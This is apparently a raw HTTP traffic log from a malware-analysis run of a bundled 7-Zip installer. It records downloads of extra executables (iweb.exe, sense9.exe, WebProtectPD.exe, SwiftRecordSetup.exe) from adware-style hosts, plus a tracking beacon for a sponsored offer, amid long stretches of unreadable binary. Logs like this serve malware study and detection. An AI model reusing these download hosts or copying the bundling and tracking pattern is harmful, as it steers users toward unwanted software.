........c.K........ .yD^.......1s.....P.......A.";..Q8I.:.`..*.&......
.(.e<e.$.....PA7..3 .B.%>0~l....A...u{.W#..*8.@\kw...4X\W..1.Z5.
i.W.a..c.G....rQ..... .L..5....`..g..).s.D.c.._i....N1.uS.e.V.Y.a.D..&
gt;..h,.8.....Z..m..i.O.7...8.0j.g5.Z..wjW.)_...2..S....L.@<..H....
.o...5!.....6..?v.rAP,u3{...............>LR?.Z9.. ..G..T.3w..?.\...
.J...6}{X.......]........q......!.. ......qK.:.....h.C.$Q....!.r..<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=5500000-5749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



.:.O....;...H...........=k'...-..c8q.M...CS......> .1.y..a..v.Q.u..
...z......=Sm..4O....L..M...<.Z..............*....h....1.TtdJ;.A..d
J....W...Z...=fA.....y~i....D.1M.......i.........{....%.R.O...3.Q.@r..
.I~......V..]...B......yN..B.....;`D....l;..._gY.c.............."9.TF1
....Y........p../....S.>..?.l..A.Z...9?.W.^.....<...P.......6.0.
."..9..5...;..7V.........\B;..[f....g. ..LK..Kp....q....d.Q.../LUo....
.....[..*..W'  ..^\..:.....p...B..=.M..;G~.w.....Acg.....$...".0H"....
.W?.KrO67.......sX(......b...?......./.........-. ..J..qR.0.A....z....
KGK.OQ(...|...O....$..$.4JT.{d}..E....j..|u.J.D...&..Bx.d.fU...f....S.
.3.y.....~.s......7M#.>.$.....8...=.d....k..........VQs......V..Q..
.#...<.P.1..........t.VsH"..B...A..?.M...........[..5.......^.,...E
.D,.:.._Ae"..tYK.TY..?...q.7...9.G.GD.'.-....}.#N...<{6,."....._.!.
...Q."..Y.V..]<...u.......;0.o*..A.G........i:SM..d.J.tU.......C...
.0.L..bcnn.!..".C...3..S.CQX9..wV. .I.....6..iA../.}.c1.....(....C....
%V.&...pM.qQ...a.k8.u.F...T...s...8.-.................&..*.......y0.".
x._..`..!>.~.>..8.k.p..7..m....1.-...U.x...e[f...{.`.Z......g...
.P.:.;.6......Z%..O[..&e...o.....'....N:.B......"Pg.. !.?.........cm6-
{5-.YRN.f..H.....0..KIu.......R:........g(U}.>.~...H.Q...%..JcH....
$2....s ...n........8.%.I...sE...."Vt.D....Y.2...E9...^......l.A<..
u.f.jG$.....kD..7z#..{j..R.#9...'......a......u..<K........_.4.Q..j
.4}.......M4.\........:..[.9..j..../lUE|.....n..L.F....:.4........E/ay
...4.UA\.P.?....u..:...|F...E.c...._.......... ..4[.....K.......,.<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=6000000-6249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:28 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429686143"

Last-Modified: Wed, 22 Apr 2015 07:02:23 GMT

Cache-Control: max-age=2461

Content-Length: 250000

Content-Range: bytes 6000000-6249999/12373348

Content-Type: application/x-msdownload

X-HW: 1429690889.dop007.am4.t,1429690888.cds051.am4.c

Content-Disposition: attachment; filename="iweb.exe"
UKh8.....E....%.8...$.pn|.OUh.a.8..P..........u..{.EI6.%'.x....-v._r.c
vZ.C.....1E.A?..!.YXKJ.....).^%.........Hl._ry....... j......tNy.. ^0.
7S[C.rb..../F....1...#......1b...y.....DL..`..I......@l.....&...X.L..e
..z..v4b....~|..d...f........byv....._EkDn...<..yc.....C.s.]7... ..
....e....~.].in...................Q..1k.G]I.{.6.B....../.......e.....n
..#..jQ....U..f....}{..w....&<...`...S..4.4.L..I.1.q.......3..9v.H.
..l.}..R.L.......v....8.h......J..:z..Z......;.\!...L..C...?....:..;.i
.]......0..X)R...;W.....YV'.^... u.~:G..Gt.W.oH..x.:C.y....U......)v.j
[email protected][email protected].`..w2.....
...o.I.-..Z...^.a$...f|.....T....h*....nJ..X....6."f...7....J...j.....
.qkiTe,.x:........../(.......H.4..<...V.,.f..X.........F.L;.D.=....
...(_.2..`.a..S..%.............<,...r..E.6........,.d).PYW.Y.......
Z#h...8_d.3?.=.M.....wx......|....q...v|$ye.{.i%../.ssL..2. ....Q5M...
J..g.....O.R.z.....z'...\...OQ........{...C.....k.t....G......;..V.c..
...QH....ehZ.....)..879.....*-..._.O....\O.... vj....3......V.vFs.K...
..k.... &...........u.0/.~..W..|.m.d.......*._.pg..x.J.s..P.4..&{...~.
.'(=....-<.M....1.Z..f...[t..!....uL.%..`..."...(.h_.....$.u.....w#
...S...$.,...9..([email protected]_l.~.f...L
.J V..Q....7.]....|...-Y.Bo...9.....\8z.....I...h...hX_...d>...z..:
%.5.?t..p.4.ib..../4..48.j}....~......#@.{Y.-..:../0f.....J.c.>..~{
 .{....I.q...j.4!.%H....G..H.X.....>...]....5vS.%...z_.b^.y.%Z]....
.........M....A....B.Q.B....)$/....c..e!......m0.L.7.....[t.......<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=6500000-6749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:29 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429686324"

Last-Modified: Wed, 22 Apr 2015 07:05:24 GMT

Cache-Control: max-age=2641

Content-Length: 250000

Content-Range: bytes 6750000-6999999/12374724

Content-Type: application/x-msdownload

X-HW: 1429690890.dop007.am4.t,1429690889.cds060.am4.c

Content-Disposition: attachment; filename="sense9.exe"
.....Bx.....T..c'.Z. ...z.....em..F.!..f..E....,.S....x...4....W..K...
...=b.L....eJ9..u....(1.0{.j...v.&R.bf[9...Ve7L.......x;.k.IA^.F..h.gu
.....d.M.EG.....X...H.tR./Q.a...V...mH....PO...aWi.Z.V..Q.....K.......
...'..z.N.8...J=...6%......Ri..x......Y..........C.j)..<.J.....z...
%/.QhVzZ....NI.....`.......&*.2 ..;!x...U.....6.8$.J.hg.L..*...Fq..u.#
.:GR.Xvn.a.'..r95......)j...,....p's...#. c...-..!D..2..Cx.....P...8s.
..I..~.R.nt...M"=...6.y..C.E(...V/KJ.....'|%....@~.=.....7..7..Y......
f>.0l...:.y..<5....6nI....M.....A'G:j.......y... %....0....I..g.
.....9....Mll\.E2..NQ......a.....P._........zI.gc....y.d..s.gz....G...
.....(3...k.K....F.:{CV]1.A.}pS....P<!p..F.. .C..&.!........zGQ.._.
..7?x.lZHb...D.h.v.r.e..6...Q\.r. ....!lC.C..C...gZ...$..t.^n....r..[.
...A.i.5....=..o.UU<{..1)[email protected].%@.Y..<..
[email protected].$.......d..K.. ...%...m..h..c).N%...(....6V..
.w..sE..h.....:%..V.....e...d.j.%...... YC....3.Q..B.......ptS%.G...&l
t;.;B......./..^]R...08..6 .....1_...X<...y.....j..T.=...)`..X.....
.. ... .t . ...Va}...#..[.k..V..Ft..d.&.?z....H....,.~Z..IR...$lu....e
.=.<|w.8.[[email protected]$^....*.._......Y.....u.........fKF.Zl
..ls....d.O.P.......]..>...MO^^..g....r..fXS..$I.~....H.R.yI..QS...
:....[s.....m..i1"..O..(..........yQ..Zk~..dg.(7=`'I..R......b.....?A&
lt;...r.....*...;E........._..,.J....w..&7..S=vO...2P.&...VLH.......~q
..@[../.p...o...!M.B^..t}...b...jk.. ..sU.i..l.#).. Yb#........D`hM{,.
a..o.<...R.....k..R9X...w.~.<.N.R.p.C.1\.hV.~....."..!..t...<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=7500000-7749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=8000000-8249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



[email protected],[email protected](p.3$4p..dp.KX........,.Kc!...?{.*....9
...h..........&.bx..&.B./.U....#.e..!.{...&1...!K.....X... .C.!....p..
q.....|.x.5......(..3....s..Xh._.K....)...1.~.x....<}nCS...!K......
...PKp&'.....q.H..:..Q.m$G..P......).a..>....o.vC].~...1qY../.SW...
.[.,..l..[0.^.sNk......t.. ..\.E...D.7..NU....B...ur..OJ.....ST....n.?
Pi..E.....7.l..|[.|....z(.GZ....-.X...|.S*..k......l<.D~...M...J...
..Q..wu5.=...w.....a..m!.<..t.W.1........3f.eo.[9..R"&a....:.......
....._n).tFb........N;...e./z..#%4<..N.S5,D..jy..}U=u.....t.Yr.I.eF
.|.c..&;.Q.L\V..uC.j$......R.......]eb..Y.....y...[......hFj..Vhy.....
!....o=.t.(..b..B....J.I.|..Xt.xw(B=)[email protected].$....-.
..'U..e.q..14!G....Z..QZ....".."b.`....g..F.........=p..G.....Z...Q...
.....,........b....u..-k..![.\.H.D..WQ...Omn7'.i.f..N..6.3....Q......s
[..~........Q`.-.1..?'9z.........a........R.k....G0....>AH.......:9
.....-..U...$....(&..B.....W...%H.-...W_.yJ..[yJ...r..'0....*.....V...
.a..z3'..lE9a...^.1....W=.{....3xb.k........,^........uf....%.....KDKo
7F]s).u..:;........T.3.......W.t#.....<.....C.IG..CJ........ ./....
YxV.....T.....e........s..(.,r.e.H.z....f..p.*.......bY...P,.gd.;c...)
...,..].AS..0...p!..g.....B...*u7..O....T...{.....S."..b...-1\6.....~.
.J..F..#..}.D..u\....I...~.n......YaC/..D2_.I.....l..o..\h..c......H..
.qA7a....^^5..W.....i.nu.nc..U........l.....!;.~K..{d9?AI....1...e... 
......1c...C'x9L.....N....).N.mS...~...Ne..u......N..B&.D^.....h../F2b
/?LD..8.. .?3.....Vg.r.X[...7.%...<=.......!/(3.$O..=.......=.c<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=8500000-8749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



...!_):...L.g.5$Y..0../...'.j\.`.^IpO..\.......Zf..........K..QWwR....
.#K....b...8....M.`.W..Ud.N............V..u....i..p..)...w.&.......m.V
_A..!.....S....[...@P'.5>..l.G....P......!:.<{kQ".t...B.XBi.....
3..$..i....fl....W..%....*...&`E..{.>[email protected]>..Ru<q...5.
Kac...*@.B#*L].H.;......Y..H.......16!$....n6.PAC.j.Q..Q..MKf~..q.U...
..M..@%..#....vQU...7...../...@..]L]...dh...a.*.uO.#O...( C..h.R.~....
i.^..V.j*..G.(.M....Bn.......N......z..A...8.h.Ud.s....?9..Pa....y).{p
....m.D......... ......\..}N..{8....1...n.....2ad.!%[email protected]$.*.a7
.o.Bd.2..r............y...Jk...%.m.:.u.....a5.>.T...d1.t.98....ifp.
...2..QxW.<'...!"..........`. ...,..'[email protected]?Q.
;...|..$ t7745.D....!...T0T..o..Y...*G,....;...I..n.....YD.s...44.....
w..b..#...C..._b.;$>.\[email protected].?.
.8.f.#....a.........$b..O.Q.:2C2.F.....w....{5...d...}..!v.M....~.....
.>P..6.t b...aM..AF.f9.........zQ%1.-..F,...Z..F|.,...U..e..Xe2.7U.
".=yT.c...>1..fiB..v.$...I4l..nE.....R.}).p....d$.Oe....,.A...Y...u
..v...4n...f.Rg.-ta.a.}..j.G..F2h..U...4...5...F.L..2.GC(....D...$....
.c}B6.|.4l..d h.kV..m.x....-~._....:."?...6.% w$..hm..-T...i#... ..)..
8x.Z..l......[...#....h.".#._n.v1.. [email protected].,.).bV.
.[..k=.1......2x`.MA..1)...A...7.O..#.HH.J..>.......D.G.8.....K"..l
....j..g.....?.....P...._zx..].~..V ..<.0.`g..jm. .....2...&_..(K.S
>..!..}[email protected] j6......`..L..;......:m..(...... .....nY.'.
..I4...,...x..y...O.F..{Yy...s.ld..!.5...k.=.G...%b.N..!M.Yd...?.c<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=9000000-9249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



..?...e..k....L.{j... ..O.D...'............2 .rg....mfM.....pH.tS.WceK
d.....B.{.. ...... .. .......x......sT]........L.....z..1.!....F.A'5..
..$.)9?k&T...I.>.<i.X.7.o.*9...... c.1...k$jh...2sg.........}.gP
.I...9.......|(..S_._|`i?.~ &I...5$..x.2..j.v.z?...........3..._.`.Y..
..I.\...7....r2....e.Ns....LO.#f...h."...KtW.....'Zz.....R.....yd.&...
[email protected]..#....,..9.I$B..Lt...)YX...a.....a..F..HH.tY...X..i
...$..;FR..."Wz.....<Q.<...b..K....0........md."....*....Yms..*.
...UD4.j...%..c..|..,....y*............L.i7..J..=....v......]...U....:
%b\]IB.,p.b...T0....B..&..[...P.?.....j.v.._.E...&B.ox&..F8b.qG...4...
.....$.R....0.....n....fp...f4[.....i....#......*G.n..}.*...{#.. ..#..
....N.g ....q,..X......:[email protected]....  .g.6...}xo.$.....!e<J.e..
V...._p7..._.;..rr...qz......[.4.....==.}..a.=.N#..(....F~.2..!{.^....
?......[..Zc....G...Y.:4.;.<.i...L.G.I....r.4.G...]x....;E,b..i..g.
\.{...N.j..k...{...z....HT .;...cN.r..X...."K..f./.5.V...*J..lH4..&O3.
... .. .....P.../...i}.0..a..4..u.....u.1.*.}?.6.}&C...MIA.X.....*..$.
.....6.q...y..N...m.........Y..(/..D....h.~..v ..*.|.a).e.........0ie 
[email protected]...$ vy....8K....G.4....:.....I.d?D.....
.E..=.$}........c.to......Kw.E.7.W...../.h6..x...lK...m.|1.....x......
..F......Y.......c,..ko."9Z.wQ......b...~s.".L.............98w.(.PR..[
.......m.0.6....A.....N.t?..$..^ ...".:.5C*|E.....,.OL>?.nS...._.r.
.IE....4...6.5........!.).......t.............^.L..X...w....&.....Br.-
:q..'p..b...Y-F..G....1....D.W`...g@..!B&........R3.Tlu.P5-P.....^<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=9500000-9749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=10750000-10999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



... .....q........0E..Mg...{~{..@..}D....'f. ..cg.w.h.o...7...,#L..Oj.
E.l....A...s..R][email protected]....%.K.!.i.'.5."/...N.f."e.;...Sq.
..aw.3r..PA.W......z-X..).`..X.H..{...........?..Foe........MX0..q`.J.
ef.....,.TE.6...........T)Z.?^g.%.7.)....l.....{...#...|..%.....p.DN..
..(.\k........U..}Q.b.........%.f...I..-u.WT.]t.PY.$...(...B`).s..X.MV
q..........s.......b..b..A.....r...c.......;Q/y.P'.....5.d....eAS..i.`
.!C..........Oa......[j......|....M...b.......4.Q}Nu.......F.....]... 
GM...> M?.E.4.[..N.K.XD..\...4X.Z]2.........9.n...#b...>......t[
.......ql..X....i<u.){..x...*.Z...W....h..1..!0....L.k....*..YG~F$@
[email protected]...../..X..E?H.....a..\'.}..D.I.o...u..^.=..C..7.../i
.<..).....&M.4..:.e......J....\.>.....6(.h.t([email protected]
.....h&A.....u.. ...DK.L.e.....1~%......<....T.....Q..J... .. ..Q..
.........J.%.u.................k.2#[email protected]?...h.).........=......l
..L....*/...2..........F6?.$" .....nG~@*n.....2...7.A.E.b.).....@.<
.y....!........[......g..<O..O.6....PpPM8...........}....M.)~ .1...
...EUn...Dj........-.;.;...........fr...y.Z..U ...eb..0^8.HNW..... m..
..A.)......L6.O.. Zb...~8.Fp:...>.58....^.......dj.0T-4_`19&J...3.G
s...\......6]........).e....gV73P..=....r..5.~..N.Q...,.G........F...}
ZG.....a..[\...e.h....S..C....HL........u;.X.{vLw....1.W..Y. .....l...
[email protected].`......[<\.].$p.......P......N...N:\4#W...
....X.U...M......I...v..n-.f...'-.a..h._...h..J.. ....).NQ...PN....l..
....\...1W!F...Rm..'...n..%*.v.1...$..H...X.............i.(.1...@.<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=11500000-11749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



.T...u:...^.......l..y...z\o....5H..WY.|/...........S_...A....>....
..;[email protected]"..T.Nvf.L.E.\.}I....;....y..n<...%.......e
.[L...:l.....&.........n5v.....N... rT_....,..0wl.....l..Q..!.2.t`...b
QC&...R....}....z.....A.H.v.D..y-6k...x......3..`....-l...(_j.^.......
....h3S..c.l.9..&.M]nT......;...!2MD...a.|7..........JF....E:r.......M
.....f..B'W.xMu..g...9c.R......."M(./..c.,..3..@....!...O.m.d..W...r..
.\.%. Tg.B.../....doGkK...W. ..No....cX.7..*a.....c'4..V.4.<.i.4O..
vA.L$..PAe.....m.....#.N&.h.......1....r...b...<.......W.a./....a..
..Y n..X.'..........F......0...Q..dF7.L.-...X........~........p...?q.d
.....L.....H.I....[....nd....u..^....h.,Fh.....Z.ZiSR5;d..}.b.N.E.`...
c.].-..................#..!.P.c.DUJ..\l...o||...^v.(......?...h.2...mD
.T.W=..>8.Xi.....].`C..g. 4^C.|.Si...$U...4.............C.`L...f"..
.x...|L_'(..........m 7r.....8m..dl..TL8.FqT..........)..........]....
.7......,........Sy9...2i*,.E..H......U...'....!V#........S..k.o...._.
/.0j..N_....In.=..}...<..'[email protected]}.}......:..E.;..
,.o...Gh..#p.....XR0...J..k .6..dx?.D.i.>v8q$fA./..[Z.9....*...Sy^7
Q..2..o....S.0..L..{j........V..AI.uu...*.0....3......`F..5...j.......
\.[;p.kD:G......:E.\s..T......:.4...~..m.....Y.....?...Li..M..w.N.....
tG&.X(7YS.e.;7*x.3.p..;u..yn\@....S.. ...g..#EoLIV.RQ.Z.G.........;..r
.g...........wi ......\..@7b;F.]..1...K...\.f.O.vy.h..A.Bi...N..:.....
...T}v.%...7.B.y...N...8..@d..$i._t...B.._....8A.W.....#^.'..A=...k..w
.]...I!N....e..!nD0...,.....t..."D..XM.........\..T../.Q`.\..y.X..<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=11750000-11999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



@.b...x....T..*%...a....;.4.r~.^..r...c'P.........O.5...6....._^.s.k..
.Tz......j_.@...)X.!.5A.D...%._..B....R.R..S.....$.8..bE...?.i58E...F-
....:..h..9yEr.V"]........hU.|..Vd.D9e...S.\W~..cW.:m....,a..../.Q...-
;.*.g..9....vPmW..10D.... ..._}x...... >.G#I....t.n...%..l...N.VX..
..K1.....UJ.J.K?.g.A.....J...v..s0u.}..,..E.~..j...t...a(...0D.f.2..&z
.G....g..b..'..../A-M.....tC.........`r..C..l_.q?...pX$.0\.9...=h.e...
[email protected])..6q.....].eD..............h......LJ5E(..!..u..P..
M.8$^[email protected]...)..HB9.........D.l..}....AN.T^.^\.":|...k..!w.. 
..............[[email protected] ..:....j.*gng....X.....c...._......
Zc...F....y.o.....,......kCu.u.6D..l...p)...2*[r$I...t.r..$4..-'Js."..
..j"d...?Po.5...:....;b.....W.H.s,8.....m....w.1yL.k}..5..1L.(.K....w.
...w...>.k....}3RQb.]m.J.".5.&.v7...'..%.\....DX<.....zg.(..Y..9
......:....>>....].x._...f..-4...{..(EG.fS.JB.=.#.v....G........
..&.K.1..t_..|\..a.) ...f"nK.7!`...?...G.vs......{G.`a....L. {.<l^y
ux..u...........8...m.......8...\.......4.F..kXU..j&..X.<...`..X.A.
....o:gwx.C..P.8.~v.s.C&...f.5.8.E.... B..bQ.U.Q\...? ..[...9!X@....[$
..."p4>.A.Q....b..Qa.X ........F.VD.C.1..KZ..M...& &..b.....b......
OI...n...)..........[[email protected]...,..Uq/G......u ..@..};.......TD.K.
...0.>.&.....Z|I...oS?.Q^.)..b....>..v.. ..'Mp..Afm.1....#d..9..
(.....S..alA.V.x....z............:.i.....".7.d....V.....R..T'X!.......
/.z...O..Fl.X<....N....o.J.n(....:.....m.|......... :./.......u:wu.
..Ot~...kWY.- .I.iM..<!..7oz.l.5...{B;....|4Y.......;X....h....<<< skipped >>>

GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d17g6dyg7fgcv7.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 72922

Connection: keep-alive

Date: Wed, 22 Apr 2015 08:08:22 GMT

x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990

Cache-Control: max-age=3600

Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT

ETag: "80764229a410305724108417115b8ce8"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-72921/72922

Age: 706

X-Cache: Hit from cloudfront

Via: 1.1 38133ea2296a83bfacba51a6f2abd5a6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: wqR_4ugBuaCfisx8es9-IipW4prlgqc0uwWIINPKYYXYvjupB9RgVA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........0.......p....@.........................
.................................................s.......... B........
...................................................................p..
.............................text...hZ.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected]...`[email protected]... B.......D...v
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...6B...Si.....VW.T.....tO.q.3.;5.6B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.6B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=istartsurf&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=4&index_in_screen=1&index_in_session=4&display_height=50&0.3495124598283018 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip53656/7zip/607d1371d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1154272012.1429690800.1429690800.1429690800.1; __utmb=1.1.10.1429690800; __utmc=1; __utmz=1.1429690800.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:20:56 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 22 Apr 2015 08:20:56 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /sd?is=sm HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Content-Length: 523264

Cache-Control: private, max-age=86400

Expires: Thu, 23 Apr 2015 08:23:54 GMT

Date: Wed, 22 Apr 2015 08:23:54 GMT

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
................. .......;.......................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=971667-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 22 Apr 2015 08:20:12 GMT

Content-Type: application/octet-stream

Content-Length: 138809

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 971667-1110475/1110476
]7X..}.u...{.......)..E.x.E.|w..5.rg4.9M@.].EqZk...b...97....p...j....
...w"m.f.. g.G..C..x.q.2S.Q.. .t ...../..4mc.x.\"I.d..Q.{x............
...1..H..o..l.V..OU.......D..X.n....8.L.s..!.f..............9,d..1Y.j.
l..W.........ql.....5....9Jt.4......t...s...!.....B..UX1.R..W..Ot.....
. z.|...L'..8. .p.....d{..V..x.. ....8..P...v.........5KE3...u.'...Oc.
..&....6!...j`.b.....|_i<.Y.^...............QoM.9..y~...M"E..c...,.
......e.s.R.5qQ......O..Z...#........n.w.^...........5.!.....S.i..a..t
.;...ruQu.&r.....Bd%7...S..M..5.F#.........Y.T...M.....$.Ri.j..}_7..U.
E r..`.2././.?.r..jJ.\Wn....K..{..#.....p.....e.2l.K.).G^.l..[.....c..
...j..;...d..2~..y1;Y.........o\. .a........^.l..K. ....o.........2..z
.:...!Q.e...f.1.$2.......R9.....fo.G.fiN0A7............. ?^4.nr..A....
...#F:..ch..l..s<-Db@#.J.3.z..`kI..Z....n.).(R#vo.x.V..Z.q....i...t
O4.{.vFB...mU..6.?...a}yy7.zn......c...).A.[[email protected])..c.*O.....7.
.`...$.:q.V..l..0f.......r.1.d.e..G......4..A.e..x.. L.l..At..j.r.i...
W."gZMh..6E4~...h...."..5v.7!......:.Z.....pKf..h....nSA.5.d.{..pE.`'.
f.O.}.....r.F7$.P.01o....`.....8...Ix..|x.n.......#.~.... 7sf..#..7?.]
x.3..%.}...."..r.b..6...,.....LV%..r..[uwz.J.y:h...2..*.W.G...~.......
....v.j..:].QT,.....lS....vYF..R. ...A.J....X.j.R.......n..3......k...
...}..^...wup7 *....'..>2...Z.......P......L.09....[.c..~..)..$$".9
[email protected]#..a....*[email protected]
Q,W.....m%.9.7.=..Jr.eh.pjB.......8.......T...W.vD..&Y...F.t..L.^...P^
.&..j..KQ....vU.j.......{..!.pZu....!R..\u9..<O..A.%....2..71..<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=277619-555238

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 22 Apr 2015 08:20:12 GMT

Content-Type: application/octet-stream

Content-Length: 277620

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 277619-555238/1110476
.../cXh~.Q....mj..Yt..>...(.e....(...kiq...lSR>...?... .N?.[c6..
.C.(.pA.,.*..F...Y.Ij.j..p.%.r..e..h&...{-.....R^...`9.1PO6\8..>...
...Q"Rg.Z......Too...?.<....J..=,.q...}y.=.T..*W...C9..].........^e
."T..`.&F..M...^-6Wz_:..YW.B.......'......O;,k..".gGP..<$-..1 .;.s|
X....-....%,....@.]AU.. ..\ko... .w~g..1K.......;A..|.r..%............
........... .)..2....e..<.J.i."....c..oZ...TE..j...........H..,8W.c
..ST.zz.M.;-Pk5z...y..r.W~.;(F7,........w5...Ef...9Eo..[.Q...\.....9..
f6...j.mq*pRc..Z*.R..IW...j4Y.D ...T...Sn_.0.tY[/g./]ehAw..@<W.....
.0QO\Cj(.C.-.......*..5|.-.0..$.V..pX...T........HA.....}..........}.;
. ....LPV.X..0W..H.........z..F(.o.:........Fd.'C..= . ..e.....%Z.t...
.t.Bz.?...s.....L...ds....[....dr.....E(.z)vD17...d...m... ..........m
s..g...8V._x.X..D..g.WQ&....$...}o.Q5u..#6.. .`.......~..%.ir.W....zoY
